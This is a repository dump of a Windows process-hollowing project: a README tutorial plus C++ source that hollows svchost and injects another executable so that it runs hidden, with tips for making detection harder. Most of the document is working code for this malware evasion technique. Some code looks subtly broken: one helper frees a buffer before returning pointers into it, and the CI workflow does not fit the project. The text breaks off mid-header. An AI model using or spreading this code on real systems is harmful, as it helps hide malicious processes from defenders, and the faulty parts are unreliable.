├── .github └── workflows │ └── c-cpp.yml ├── README.md ├── executables ├── HelloWorld.exe └── ProcessHollowing.exe ├── pdf └── process-hollowing.pdf └── sourcecode ├── HelloWorld ├── HelloWorld.cpp ├── HelloWorld.vcproj ├── ReadMe.txt ├── stdafx.cpp ├── stdafx.h └── targetver.h ├── ProcessHollowing.sln └── ProcessHollowing ├── PE.cpp ├── PE.h ├── ProcessHollowing.cpp ├── ProcessHollowing.vcproj ├── ReadMe.txt ├── internals.h ├── stdafx.cpp ├── stdafx.h └── targetver.h /.github/workflows/c-cpp.yml: -------------------------------------------------------------------------------- 1 | name: C/C++ CI 2 | 3 | on: 4 | push: 5 | branches: [ master ] 6 | pull_request: 7 | branches: [ master ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/checkout@v2 16 | - name: configure 17 | run: ./configure 18 | - name: make 19 | run: make 20 | - name: make check 21 | run: make check 22 | - name: make distcheck 23 | run: make distcheck 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Introduction 2 | Process hollowing is yet another tool in the kit of those who seek to hide the presence of a process. The idea is rather straight forward: a bootstrap application creates a seemingly innocent process in a suspended state. The legitimate image is then unmapped and replaced with the image that is to be hidden. If the preferred image base of the new image does not match that of the old image, the new image must be rebased. Once the new image is loaded in memory the EAX register of the suspended thread is set to the entry point. The process is then resumed and the entry point of the new image is executed. 3 | 4 | ## Building The Source Executable 5 | To successfully perform process hollowing the source image must meet a few requirements: 6 | 7 | To maximize compatibility, the subsystem of the source image should be set to windows. 8 | The compiler should use the static version of the run-time library to remove dependence to the Visual C++ runtime DLL. This can be achieved by using the /MT or /MTd compiler options. 9 | Either the preferred base address (assuming it has one) of the source image must match that of the destination image, or the source must contain a relocation table and the image needs to be rebased to the address of the destination. For compatibility reasons the rebasing route is preferred. The /DYNAMICBASE or /FIXED:NO linker options can be used to generate a relocation table. 10 | 11 | Once a suitable source executable has been created it can be loaded in the context of another process, hiding its presence from cursory inspections. 12 | 13 | Creating The Process 14 | The target process must be created in the suspended state. This can be achieved by passing the CREATE_SUSPENDED flag to the CreateProcess function via the dwCreationFlags parameter. 15 | 16 | ```cpp 17 | printf("Creating process\r\n"); 18 | 19 | LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); 20 | LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); 21 | 22 | CreateProcessA 23 | ( 24 | 0, 25 | pDestCmdLine, 26 | 0, 27 | 0, 28 | 0, 29 | CREATE_SUSPENDED, 30 | 0, 31 | 0, 32 | pStartupInfo, 33 | pProcessInfo 34 | ); 35 | 36 | if (!pProcessInfo->hProcess) 37 | { 38 | printf("Error creating process\r\n"); 39 | 40 | return; 41 | } 42 | ``` 43 | 44 | 45 | Once the process is created its memory space can be modified using the handle provided by the hProcess member of the PROCESS_INFORMATION structure. 46 | 47 | ## Gathering Information 48 | First, the base address of the destination image must be located. This can be done by querying the process with NtQueryProcessInformation to acquire the address of the process environment block (PEB). The PEB is then read using ReadProcessMemory. All of this functionality is encapsulated within a convenient helper function named ReadRemotePEB. 49 | 50 | ```cpp 51 | PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); 52 | ``` 53 | 54 | Once the PEB is read from the process, the image base is used to read the NT headers. Once again ReadProcessMemory is utilized, and the functionality is wrapped in a convenient helper function. 55 | 56 | ```cpp 57 | PLOADED_IMAGE pImage = ReadRemoteImage 58 | ( 59 | pProcessInfo->hProcess, 60 | pPEB->ImageBaseAddress 61 | ); 62 | ``` 63 | 64 | Carving The Hole 65 | With headers in hand there is no longer a need for the destination image to be mapped into memory. The NtUnmapViewOfSection function can be utilized to get rid of it. 66 | 67 | ```cpp 68 | printf("Unmapping destination section\r\n"); 69 | 70 | HMODULE hNTDLL = GetModuleHandleA("ntdll"); 71 | 72 | FARPROC fpNtUnmapViewOfSection = GetProcAddress 73 | ( 74 | hNTDLL, 75 | "NtUnmapViewOfSection" 76 | ); 77 | 78 | _NtUnmapViewOfSection NtUnmapViewOfSection = 79 | (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; 80 | 81 | DWORD dwResult = NtUnmapViewOfSection 82 | ( 83 | pProcessInfo->hProcess, 84 | pPEB->ImageBaseAddress 85 | ); 86 | 87 | if (dwResult) 88 | { 89 | printf("Error unmapping section\r\n"); 90 | return; 91 | } 92 | ``` 93 | 94 | Next, a new block of memory is allocated for the source image. The size of the block is determined by the SizeOfImage member of the source images optional header. For the sake of simplicity the entire block is flagged as PAGE_EXECUTE_READWRITE, but this could be improved upon by allocating each portable executable section with the appropriate flags based on the characteristics specified in the section header. 95 | 96 | ```cpp 97 | printf("Allocating memory\r\n"); 98 | 99 | PVOID pRemoteImage = VirtualAllocEx 100 | ( 101 | pProcessInfo->hProcess, 102 | pPEB->ImageBaseAddress, 103 | pSourceHeaders->OptionalHeader.SizeOfImage, 104 | MEM_COMMIT | MEM_RESERVE, 105 | PAGE_EXECUTE_READWRITE 106 | ); 107 | 108 | if (!pRemoteImage) 109 | { 110 | printf("VirtualAllocEx call failed\r\n"); 111 | return; 112 | } 113 | ``` 114 | 115 | ## Copying The Source Image 116 | Now that memory has been allocated for the new image it must be copied to the process memory. For the hollowing to work, the image base stored within the optional header of the source image must be set to the destination image base address. However, before setting it the difference between the two base addresses must be calculated for use in rebasing. Once the optional header is fixed up, the image is copied to the process via WriteProcessMemory starting with its portable executable headers. Following that, the data of each section is copied. 117 | 118 | ```cpp 119 | DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - 120 | pSourceHeaders->OptionalHeader.ImageBase; 121 | 122 | printf 123 | ( 124 | "Source image base: 0x%p\r\n" 125 | "Destination image base: 0x%p\r\n", 126 | pSourceHeaders->OptionalHeader.ImageBase, 127 | pPEB->ImageBaseAddress 128 | ); 129 | 130 | printf("Relocation delta: 0x%p\r\n", dwDelta); 131 | 132 | pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; 133 | 134 | printf("Writing headers\r\n"); 135 | 136 | if (!WriteProcessMemory 137 | ( 138 | pProcessInfo->hProcess, 139 | pPEB->ImageBaseAddress, 140 | pBuffer, 141 | pSourceHeaders->OptionalHeader.SizeOfHeaders, 142 | 0 143 | )) 144 | { 145 | printf("Error writing process memory\r\n"); 146 | 147 | return; 148 | } 149 | 150 | for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) 151 | { 152 | if (!pSourceImage->Sections[x].PointerToRawData) 153 | continue; 154 | 155 | PVOID pSectionDestination = 156 | (PVOID)((DWORD)pPEB->ImageBaseAddress + 157 | pSourceImage->Sections[x].VirtualAddress); 158 | 159 | printf 160 | ( 161 | "Writing %s section to 0x%p\r\n", 162 | pSourceImage->Sections[x].Name, pSectionDestination 163 | ); 164 | 165 | if (!WriteProcessMemory 166 | ( 167 | pProcessInfo->hProcess, 168 | pSectionDestination, 169 | &pBuffer[pSourceImage->Sections[x].PointerToRawData], 170 | pSourceImage->Sections[x].SizeOfRawData, 171 | 0 172 | )) 173 | { 174 | printf ("Error writing process memory\r\n"); 175 | return; 176 | } 177 | } 178 | ``` 179 | 180 | As was mentioned earlier taking this step a bit further by applying the proper memory protection options to the different sections would make the hollowing harder to detect. 181 | 182 | Rebasing The Source Image 183 | If the delta calculated in the prior step is not zero the source image must be rebased. To do this, the bootstrap application makes use of the relocation table stored in the .reloc section. The relevant IMAGE_DATA_DIRECTORY, accessed with the IMAGE_DIRECTORY_ENTRY_BASERELOC constant, contains a pointer to the table. 184 | 185 | IMAGE_DATA_DIRECTORY relocData = pSourceHeaders-> 186 | OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 187 | 188 | The relocation table itself is broken down into a series of variable length blocks, each containing a series of entries for a 4KB page. At the head of each relocation block is the page address along with the block size, followed by the relocation entries. Each relocation entry is a single word; the low 12 bits are the relocation offset, and the high 4 bits are the relocation types. C bit fields can be used to easily access these values. 189 | 190 | ```cpp 191 | typedef struct BASE_RELOCATION_BLOCK { 192 | DWORD PageAddress; 193 | DWORD BlockSize; 194 | } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; 195 | 196 | typedef struct BASE_RELOCATION_ENTRY { 197 | USHORT Offset : 12; 198 | USHORT Type : 4; 199 | } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; 200 | ``` 201 | 202 | To calculate the number of entries in a block, the size of BASE_RELOCATION_BLOCK is subtracted from BlockSize and the difference is divided by the size of BASE_RELOCATION_ENTRY. The macro below assists in these calculations. 203 | 204 | ```cpp 205 | #define CountRelocationEntries(dwBlockSize) \ 206 | (dwBlockSize - \ 207 | sizeof(BASE_RELOCATION_BLOCK)) / \ 208 | sizeof(BASE_RELOCATION_ENTRY) 209 | 210 | Putting this together we can iterate through each block and its respective entries, patching the addresses of the image along the way. 211 | 212 | DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; 213 | DWORD dwOffset = 0; 214 | 215 | IMAGE_DATA_DIRECTORY relocData = pSourceHeaders-> 216 | OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 217 | 218 | while (dwOffset < relocData.Size) 219 | { 220 | PBASE_RELOCATION_BLOCK pBlockheader = 221 | (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; 222 | 223 | dwOffset += sizeof(BASE_RELOCATION_BLOCK); 224 | 225 | DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); 226 | 227 | PBASE_RELOCATION_ENTRY pBlocks = 228 | (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; 229 | 230 | for (DWORD y = 0; y < dwEntryCount; y++) 231 | { 232 | dwOffset += sizeof(BASE_RELOCATION_ENTRY); 233 | 234 | if (pBlocks[y].Type == 0) 235 | continue; 236 | 237 | DWORD dwFieldAddress = 238 | pBlockheader->PageAddress + pBlocks[y].Offset; 239 | 240 | DWORD dwBuffer = 0; 241 | 242 | ReadProcessMemory 243 | ( 244 | pProcessInfo->hProcess, 245 | (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), 246 | &dwBuffer, 247 | sizeof(DWORD), 248 | 0 249 | ); 250 | 251 | dwBuffer += dwDelta; 252 | 253 | BOOL bSuccess = WriteProcessMemory 254 | ( 255 | pProcessInfo->hProcess, 256 | (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), 257 | &dwBuffer, 258 | sizeof(DWORD), 259 | 0 260 | ); 261 | 262 | if (!bSuccess) 263 | { 264 | printf("Error writing memory\r\n"); 265 | continue; 266 | } 267 | } 268 | } 269 | ``` 270 | 271 | ## The Final Touches 272 | With the source image loaded into the target process some changes need to be made to the process thread. First, the thread context must be acquired. Because only the EAX register needs to be updated the ContextFlags member of the CONTEXT structure can be set to CONTEXT_INTEGER. 273 | 274 | ```cpp 275 | LPCONTEXT pContext = new CONTEXT(); 276 | pContext->ContextFlags = CONTEXT_INTEGER; 277 | 278 | printf("Getting thread context\r\n"); 279 | 280 | if (!GetThreadContext(pProcessInfo->hThread, pContext)) 281 | { 282 | printf("Error getting context\r\n"); 283 | return; 284 | } 285 | ``` 286 | 287 | After the thread context has been acquired the EAX member is set to the sum of the base address and the entry point address of the source image. 288 | 289 | ```cpp 290 | DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + 291 | pSourceHeaders->OptionalHeader.AddressOfEntryPoint; 292 | 293 | pContext->Eax = dwEntrypoint; 294 | 295 | The thread context is then set, applying the changes to the EAX register 296 | 297 | printf("Setting thread context\r\n"); 298 | 299 | if (!SetThreadContext(pProcessInfo->hThread, pContext)) 300 | { 301 | printf("Error setting context\r\n"); 302 | return; 303 | } 304 | ``` 305 | 306 | Finally, the thread is resumed, executing the entry point of the source image. 307 | 308 | ```cpp 309 | printf("Resuming thread\r\n"); 310 | 311 | if (!ResumeThread(pProcessInfo->hThread)) 312 | { 313 | printf("Error resuming thread\r\n"); 314 | return; 315 | } 316 | ``` 317 | 318 | The hollowing function is now ready to use. To test it, svchost.exe (the Windows service host) is hollowed out and replaced with a simple application that displays a message box. 319 | 320 | ```cpp 321 | int _tmain(int argc, _TCHAR* argv[]) 322 | { 323 | char* pPath = new char[MAX_PATH]; 324 | GetModuleFileNameA(0, pPath, MAX_PATH); 325 | pPath[strrchr(pPath, '\\') - pPath + 1] = 0; 326 | strcat(pPath, "helloworld.exe"); 327 | 328 | CreateHollowedProcess 329 | ( 330 | "svchost", 331 | pPath 332 | ); 333 | 334 | system("pause"); 335 | 336 | return 0; 337 | } 338 | ``` 339 | 340 | Once the application is run, its output confirms that the hollowing was successful. 341 | 342 | Creating process 343 | Opening source image 344 | Unmapping destination section 345 | Allocating memory 346 | Source image base: 0x00400000 347 | Destination image base: 0x00A60000 348 | Relocation delta: 0x00660000 349 | Writing headers 350 | Writing .text section to 0x00A8B000 351 | Writing .rdata section to 0x00AE2000 352 | Writing .data section to 0x00AF3000 353 | Writing .idata section to 0x00AF7000 354 | Writing .rsrc section to 0x00AF8000 355 | Writing .reloc section to 0x00AF9000 356 | Rebasing image 357 | Getting thread context 358 | Setting thread context 359 | Resuming thread 360 | Process hollowing complete 361 | Press any key to continue . . . 362 | 363 | ## Resources 364 | Process Hollowing Source 365 | https://github.com/m0n0ph1/Process-Hollowing/ 366 | 367 | Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code 368 | http://www.amazon.com/Malware-Analysts-Cookbook-DVD-Techniques/dp/0470613033 369 | 370 | Microsoft Portable Executable and Common Object File Format Specification 371 | http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v8.docx 372 | 373 | Peering Inside the PE: A Tour of the Win32 Portable Executable File Format 374 | http://msdn.microsoft.com/en-us/library/ms809762.aspx 375 | 376 | PEB (Process Enviroment Block) 377 | http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html 378 | 379 | /MD, /MT, /LD (Use Run-Time Library) 380 | http://msdn.microsoft.com/en-us/library/2kzt1wy3.aspx 381 | 382 | /FIXED (Fixed Base Address) 383 | http://msdn.microsoft.com/en-us/library/w368ysh2(v=vs.80).aspx 384 | 385 | /DYNAMICBASE (Use address space layout randomization) 386 | http://msdn.microsoft.com/en-us/library/bb384887.aspx 387 | 388 | C Bit Fields 389 | http://msdn.microsoft.com/en-us/library/yszfawxh(v=vs.80).aspx 390 | 391 | 392 | -------------------------------------------------------------------------------- /executables/HelloWorld.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m0n0ph1/Process-Hollowing/409b2dfa0feb9d6031efb1de3e8347f796fc886a/executables/HelloWorld.exe -------------------------------------------------------------------------------- /executables/ProcessHollowing.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m0n0ph1/Process-Hollowing/409b2dfa0feb9d6031efb1de3e8347f796fc886a/executables/ProcessHollowing.exe -------------------------------------------------------------------------------- /pdf/process-hollowing.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m0n0ph1/Process-Hollowing/409b2dfa0feb9d6031efb1de3e8347f796fc886a/pdf/process-hollowing.pdf -------------------------------------------------------------------------------- /sourcecode/HelloWorld/HelloWorld.cpp: -------------------------------------------------------------------------------- 1 | // HelloWorld.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | 7 | 8 | int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) 9 | { 10 | MessageBoxA(0, "Hello World", "Hello World", 0); 11 | 12 | return 0; 13 | } 14 | 15 | -------------------------------------------------------------------------------- /sourcecode/HelloWorld/HelloWorld.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 68 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 90 | 98 | 101 | 104 | 107 | 110 | 113 | 124 | 127 | 130 | 133 | 142 | 145 | 148 | 151 | 154 | 157 | 160 | 163 | 164 | 165 | 166 | 167 | 168 | 173 | 176 | 177 | 180 | 183 | 187 | 188 | 191 | 195 | 196 | 197 | 198 | 203 | 206 | 207 | 210 | 211 | 212 | 217 | 218 | 221 | 222 | 223 | 224 | 225 | 226 | -------------------------------------------------------------------------------- /sourcecode/HelloWorld/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : HelloWorld Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this HelloWorld application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your HelloWorld application. 9 | 10 | 11 | HelloWorld.vcproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | HelloWorld.cpp 18 | This is the main application source file. 19 | 20 | ///////////////////////////////////////////////////////////////////////////// 21 | Other standard files: 22 | 23 | StdAfx.h, StdAfx.cpp 24 | These files are used to build a precompiled header (PCH) file 25 | named HelloWorld.pch and a precompiled types file named StdAfx.obj. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other notes: 29 | 30 | AppWizard uses "TODO:" comments to indicate parts of the source code you 31 | should add to or customize. 32 | 33 | ///////////////////////////////////////////////////////////////////////////// 34 | -------------------------------------------------------------------------------- /sourcecode/HelloWorld/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // HelloWorld.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /sourcecode/HelloWorld/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /sourcecode/HelloWorld/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // The following macros define the minimum required platform. The minimum required platform 4 | // is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run 5 | // your application. The macros work by enabling all features available on platform versions up to and 6 | // including the version specified. 7 | 8 | // Modify the following defines if you have to target a platform prior to the ones specified below. 9 | // Refer to MSDN for the latest info on corresponding values for different platforms. 10 | #ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista. 11 | #define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows. 12 | #endif 13 | 14 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHollowing", "ProcessHollowing\ProcessHollowing.vcproj", "{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HelloWorld", "HelloWorld\HelloWorld.vcproj", "{CBDD0923-D056-4517-9820-EDA9C05F5639}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Release|Win32 = Release|Win32 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.ActiveCfg = Debug|Win32 15 | {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.Build.0 = Debug|Win32 16 | {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.ActiveCfg = Release|Win32 17 | {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.Build.0 = Release|Win32 18 | {CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.ActiveCfg = Debug|Win32 19 | {CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.Build.0 = Debug|Win32 20 | {CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.ActiveCfg = Release|Win32 21 | {CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.Build.0 = Release|Win32 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | EndGlobal 27 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/PE.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "windows.h" 3 | #include "internals.h" 4 | #include "pe.h" 5 | 6 | HMODULE hNTDLL = nullptr; 7 | _NtQueryInformationProcess ntQueryInformationProcess = nullptr; 8 | 9 | bool InitializeNtQueryInformationProcess() 10 | { 11 | hNTDLL = LoadLibraryA("ntdll"); 12 | if (!hNTDLL) 13 | return false; 14 | 15 | FARPROC fpNtQueryInformationProcess = GetProcAddress(hNTDLL, "NtQueryInformationProcess"); 16 | if (!fpNtQueryInformationProcess) 17 | return false; 18 | 19 | ntQueryInformationProcess = (_NtQueryInformationProcess)fpNtQueryInformationProcess; 20 | return true; 21 | } 22 | 23 | DWORD FindRemotePEB(HANDLE hProcess) 24 | { 25 | if(!ntQueryInformationProcess) 26 | { 27 | if(!InitializeNtQueryInformationProcess()) 28 | return 0; 29 | } 30 | 31 | PROCESS_BASIC_INFORMATION basicInfo = {0}; 32 | DWORD dwReturnLength = 0; 33 | 34 | ntQueryInformationProcess(hProcess, 0, &basicInfo, sizeof(basicInfo), &dwReturnLength); 35 | return basicInfo.PebBaseAddress; 36 | } 37 | 38 | PEB* ReadRemotePEB(HANDLE hProcess) 39 | { 40 | DWORD dwPEBAddress = FindRemotePEB(hProcess); 41 | if(!dwPEBAddress) 42 | return nullptr; 43 | 44 | PEB* pPEB = new PEB(); 45 | 46 | if(!ReadProcessMemory(hProcess, (LPCVOID)dwPEBAddress, pPEB, sizeof(PEB), nullptr)) 47 | { 48 | delete pPEB; 49 | return nullptr; 50 | } 51 | 52 | return pPEB; 53 | } 54 | 55 | PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress) 56 | { 57 | BYTE* lpBuffer = new BYTE[BUFFER_SIZE]; 58 | if(!ReadProcessMemory(hProcess, lpImageBaseAddress, lpBuffer, BUFFER_SIZE, nullptr)) 59 | { 60 | delete[] lpBuffer; 61 | return nullptr; 62 | } 63 | 64 | PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer; 65 | PLOADED_IMAGE pImage = new LOADED_IMAGE(); 66 | 67 | pImage->FileHeader = (PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew); 68 | pImage->NumberOfSections = pImage->FileHeader->FileHeader.NumberOfSections; 69 | pImage->Sections = (PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32)); 70 | 71 | delete[] lpBuffer; // Avoid memory leak 72 | return pImage; 73 | } 74 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/PE.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define BUFFER_SIZE 0x2000 9 | 10 | typedef struct _RTL_DRIVE_LETTER_CURDIR { 11 | USHORT Flags; 12 | USHORT Length; 13 | ULONG TimeStamp; 14 | UNICODE_STRING DosPath; 15 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 16 | 17 | typedef struct _LDR_MODULE { 18 | LIST_ENTRY InLoadOrderModuleList; 19 | LIST_ENTRY InMemoryOrderModuleList; 20 | LIST_ENTRY InInitializationOrderModuleList; 21 | PVOID BaseAddress; 22 | PVOID EntryPoint; 23 | ULONG SizeOfImage; 24 | UNICODE_STRING FullDllName; 25 | UNICODE_STRING BaseDllName; 26 | ULONG Flags; 27 | SHORT LoadCount; 28 | SHORT TlsIndex; 29 | LIST_ENTRY HashTableEntry; 30 | ULONG TimeDateStamp; 31 | } LDR_MODULE, *PLDR_MODULE; 32 | 33 | typedef struct _PEB_LDR_DATA { 34 | ULONG Length; 35 | BOOLEAN Initialized; 36 | PVOID SsHandle; 37 | LIST_ENTRY InLoadOrderModuleList; 38 | LIST_ENTRY InMemoryOrderModuleList; 39 | LIST_ENTRY InInitializationOrderModuleList; 40 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 41 | 42 | typedef struct _RTL_USER_PROCESS_PARAMETERS { 43 | ULONG MaximumLength; 44 | ULONG Length; 45 | ULONG Flags; 46 | ULONG DebugFlags; 47 | PVOID ConsoleHandle; 48 | ULONG ConsoleFlags; 49 | HANDLE StdInputHandle; 50 | HANDLE StdOutputHandle; 51 | HANDLE StdErrorHandle; 52 | UNICODE_STRING CurrentDirectoryPath; 53 | HANDLE CurrentDirectoryHandle; 54 | UNICODE_STRING DllPath; 55 | UNICODE_STRING ImagePathName; 56 | UNICODE_STRING CommandLine; 57 | PVOID Environment; 58 | ULONG StartingPositionLeft; 59 | ULONG StartingPositionTop; 60 | ULONG Width; 61 | ULONG Height; 62 | ULONG CharWidth; 63 | ULONG CharHeight; 64 | ULONG ConsoleTextAttributes; 65 | ULONG WindowFlags; 66 | ULONG ShowWindowFlags; 67 | UNICODE_STRING WindowTitle; 68 | UNICODE_STRING DesktopName; 69 | UNICODE_STRING ShellInfo; 70 | UNICODE_STRING RuntimeData; 71 | RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; 72 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 73 | 74 | typedef struct _PEB_FREE_BLOCK { 75 | _PEB_FREE_BLOCK *Next; 76 | ULONG Size; 77 | } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; 78 | 79 | typedef void (*PPEBLOCKROUTINE)( 80 | PVOID PebLock 81 | ); 82 | 83 | typedef struct _PEB { 84 | BOOLEAN InheritedAddressSpace; 85 | BOOLEAN ReadImageFileExecOptions; 86 | BOOLEAN BeingDebugged; 87 | BOOLEAN Spare; 88 | HANDLE Mutant; 89 | PVOID ImageBaseAddress; 90 | PPEB_LDR_DATA LoaderData; 91 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 92 | PVOID SubSystemData; 93 | PVOID ProcessHeap; 94 | PVOID FastPebLock; 95 | PPEBLOCKROUTINE FastPebLockRoutine; 96 | PPEBLOCKROUTINE FastPebUnlockRoutine; 97 | ULONG EnvironmentUpdateCount; 98 | PVOID* KernelCallbackTable; 99 | PVOID EventLogSection; 100 | PVOID EventLog; 101 | PPEB_FREE_BLOCK FreeList; 102 | ULONG TlsExpansionCounter; 103 | PVOID TlsBitmap; 104 | ULONG TlsBitmapBits[0x2]; 105 | PVOID ReadOnlySharedMemoryBase; 106 | PVOID ReadOnlySharedMemoryHeap; 107 | PVOID* ReadOnlyStaticServerData; 108 | PVOID AnsiCodePageData; 109 | PVOID OemCodePageData; 110 | PVOID UnicodeCaseTableData; 111 | ULONG NumberOfProcessors; 112 | ULONG NtGlobalFlag; 113 | BYTE Spare2[0x4]; 114 | LARGE_INTEGER CriticalSectionTimeout; 115 | ULONG HeapSegmentReserve; 116 | ULONG HeapSegmentCommit; 117 | ULONG HeapDeCommitTotalFreeThreshold; 118 | ULONG HeapDeCommitFreeBlockThreshold; 119 | ULONG NumberOfHeaps; 120 | ULONG MaximumNumberOfHeaps; 121 | PVOID* *ProcessHeaps; 122 | PVOID GdiSharedHandleTable; 123 | PVOID ProcessStarterHelper; 124 | PVOID GdiDCAttributeList; 125 | PVOID LoaderLock; 126 | ULONG OSMajorVersion; 127 | ULONG OSMinorVersion; 128 | ULONG OSBuildNumber; 129 | ULONG OSPlatformId; 130 | ULONG ImageSubSystem; 131 | ULONG ImageSubSystemMajorVersion; 132 | ULONG ImageSubSystemMinorVersion; 133 | ULONG GdiHandleBuffer[0x22]; 134 | ULONG PostProcessInitRoutine; 135 | ULONG TlsExpansionBitmap; 136 | BYTE TlsExpansionBitmapBits[0x80]; 137 | ULONG SessionId; 138 | } PEB, *PPEB; 139 | 140 | typedef struct BASE_RELOCATION_BLOCK { 141 | DWORD PageAddress; 142 | DWORD BlockSize; 143 | } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; 144 | 145 | typedef struct BASE_RELOCATION_ENTRY { 146 | USHORT Offset : 12; 147 | USHORT Type : 4; 148 | } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; 149 | 150 | #define CountRelocationEntries(dwBlockSize) \ 151 | (dwBlockSize - \ 152 | sizeof(BASE_RELOCATION_BLOCK)) / \ 153 | sizeof(BASE_RELOCATION_ENTRY) 154 | 155 | inline PEB* GetPEB() 156 | { 157 | __asm mov eax, dword ptr fs:0x30; 158 | } 159 | 160 | inline PIMAGE_NT_HEADERS32 GetNTHeaders(DWORD dwImageBase) 161 | { 162 | return (PIMAGE_NT_HEADERS32)(dwImageBase + 163 | ((PIMAGE_DOS_HEADER)dwImageBase)->e_lfanew); 164 | } 165 | 166 | inline PLOADED_IMAGE GetLoadedImage(DWORD dwImageBase) 167 | { 168 | PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase; 169 | 